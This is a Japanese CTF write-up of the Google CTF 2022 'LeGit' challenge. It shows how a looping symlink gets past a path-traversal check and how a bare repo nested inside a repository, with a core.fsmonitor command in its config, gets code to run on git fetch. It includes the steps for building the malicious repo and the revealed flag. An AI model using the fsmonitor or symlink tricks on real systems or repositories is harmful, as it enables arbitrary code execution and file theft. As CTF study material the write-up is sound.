Google CTF 2022: LeGit (misc)
問題文
I built this CLI for exploring git repositories. It's still WIP but I find it pretty cool! What do you think about it?
NOTE - the challenge can reach the internet but has a tight limit on repository size.
legit.2022.ctfcompetition.com 1337
問題概要
次の操作ができるCLIアプリがリモートで動いている。
リポジトリ内のファイル一覧を出力
リポジトリ内のファイルの中身を出力
git fetch
/flagを読み取れば勝ち。
解法
リポジトリ内のファイルの中身を出力する機能を用いて、/flagを読み取れれば良さそう。とりあえず/flagを指定してみるとHacker detected!と表示されて駄目。これはshow_file関数内で、os.path.realpath()とos.path.commonpath()を用いてリポジトリ外へのファイルアクセスを禁じているからである。該当コードは以下。
code:py
filepath = input(">>> Path of the file to display: ")
real_filepath = os.path.realpath(os.path.join(_REPO_DIR, filepath))
if _REPO_DIR != os.path.commonpath((_REPO_DIR, real_filepath)):
print("Hacker detected!")
return
_REPO_DIRはクローンしたときに決定づけられ、与えたリポジトリのリンクをrepo_urlとしてos.path.join("/tmp/", urllib.parse.quote(repo_url, safe='').replace('.', '%2e'))である。
このファイルパスのチェックをバイパスできれば良さそうで、なにか抜け道がないかos.path.realpath()のドキュメントを見てみるとシンボリックリンクへの言及がある。 パスの中のシンボリックリンク (もしそれが当該オペレーティングシステムでサポートされていれば) を取り除いて、指定されたファイル名を正規化したパスを返します。
とあり、シンボリックリンクは評価され正規化されたアドレスになることがわかった。
またos.path.realpath()の引数を含めた定義はos.path.realpath(path, *, strict=False)であり、strictについては次のように説明されている。
If a path doesn't exist or a symlink loop is encountered, and strict is True, OSError is raised. If strict is False, the path is resolved as far as possible and any remainder is appended without checking whether it exists.
バージョン 3.10 で変更: The strict parameter was added.
ようはstrict=Trueにすると「パスが存在しない場合」と「シンボリックリンクがループする場合」にエラーを出すけど、これは3.10で追加されたということ。
注釈 シンボリックリンクが循環している場合、循環したリンクのうちの一つのパスが返されます。ただし、どのパスが返されるかは保証されません。
ということで、シンボリックリンク(特にループ)を使ってなんとか解けないか探っていく。
そもそものGitの機能としてリポジトリにはシンボリックリンクを含めることはできる。とりあえず/flagをリンク先にするファイルを生成して実験する。lnコマンドを使って、ln -s /flag flagとしたファイルを読み込んでみると当然駄目。 次にループするシンボリックリンクを作って試してみる。ln -s d dとすれば作れて、これを使ってd/../flagのファイルを表示してみると、フラグが表示された。
Flag: CTF{y3sMYR3p01SleGIT!}
ちなみに、3.10でも試したらエクスプロイトできた。
あとコンテスト中にGitHubで「legit」や「google ctf」と検索すると同じような(解けている)回答がいくつか見つけれたので、それを利用するだけで解けた。
別解: fsmonitorを使う
どうやらシンボリックリンクは想定解ではなかったらしい。シンボリックリンクで解かれることは想定していたらしいから厳密には想定解ではあるのだけど。
The intended solution was to embed a bare git repo inside the main repo in a subdirectory, then trick the CLI into executing "git" from there. You could provide a bare git repo with a config that gives code execution when "git fetch" is executed.
There were alternative solutions with symlinks that I decided to leave as a second option for solving the challenge.
まず前提としてgit configコマンドでGitをカスタマイズできる。リポジトリごとにもカスタマイズ可能。設定ファイルは.git/configに置かれる。このconfigファイルにはcore.fsmonitorという項目があり、git status,git pull,git fetchなどGitコマンドを実行する前に、このfsmonitorに設定したコマンドが実行される。そしてここが悪用されやすい。
通常git cloneしたときこの.git/configファイルはダウンロードされない。またそもそもアップロードされない。だから任意のコマンドを他者が実行できるわけではない。しかし、bareリポジトリの中にあるconfigはダウンロードしてしまう。また、git cloneではなく別の手段でリポジトリをダウンロードしてきた場合にもconfigをダウンロードしてしまう可能性がある。 今回の問題ではリポジトリの中に、bareリポに見せかけたディレクトリを作り、gitにbareリポだと思い込ませてnon-bareリポ設定のconfigファイルを読み込ませることで、任意のコードを実行できる。
以下のコマンド群を実行してリポジトリを作る。
code:sh
mkdir repo
cd repo
git init
mkdir sub
cd sub
echo 'ref: refs/heads/main' > HEAD
cat > config
code:config
repositoryformatversion = 0
filemode = true
bare = false
worktree = .
fsmonitor = "cat /flag>(_REPO_DIR)/flag; false"
(_REPO_DIR)は適切な値に書き換える。
base = falseにしないと上手くいかない。
code:sh
mkdir objects refs
touch objects/.gitkeep refs/.gitkeep
cd ..
git add sub
git commit -m "a"
HEAD,objects,refsの作成はGitがディレクトリをリポジトリと判定するために必要だから。具体的なアルゴリズムはここにある。 これをアップロードし以下の手順でリモートのプログラムを実行するとフラグが得られる。
ファイル一覧を表示。
subディレクトリに移動。
ENTERキーで脱出(os.chdirされたままになる)。
git fetchする(fsmonitorのコマンドが実行)。
flagファイルを出力。
参考
余談
大文字小文字を区別しないファイルシステムで.git/config(など)を書き換えられた。